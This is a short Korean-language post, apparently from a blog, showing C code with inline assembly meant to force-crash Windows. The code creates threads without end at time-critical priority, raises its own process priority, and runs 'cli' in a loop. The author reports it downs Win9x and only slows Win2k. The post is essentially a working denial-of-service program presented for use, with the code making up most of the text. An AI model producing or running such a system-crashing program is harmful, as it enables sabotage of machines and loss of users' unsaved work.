CreateThread()는 쓰레드를 생성하는 함수이다.
이제 이것을 이용하여 Windows을 강제다운 시켜보겠다.(Win9x에서)
Win2k에서는 시스템이 느려지기는 하였으나, 다운되지는 않은 것 같다.
원리는 말그대로 자신의 스레드를 무한 생성해내고, 프로세스 자신의 우선순위를 높여서
시스템을 다운시키는 것이다.
코드는 이와 같다.
DWORD ThreadProc(PVOID pParameter)
{
/*우선순위 변경*/
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
while(1)
{
Sleep(1000);
}
return 0;
}
void main()
{
DWORD dwThreadId=0;
LoopOfCreateThread:
/*자기 자신의 우선순위를 증가시킨다.*/
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, NULL, NULL, &dwThreadId);
__asm
{
cli ;인터럽트 코드 클리어
jmp LoopOfCreateThread ;다시 스레드를 생성시키는 구간으로 점프.
}
}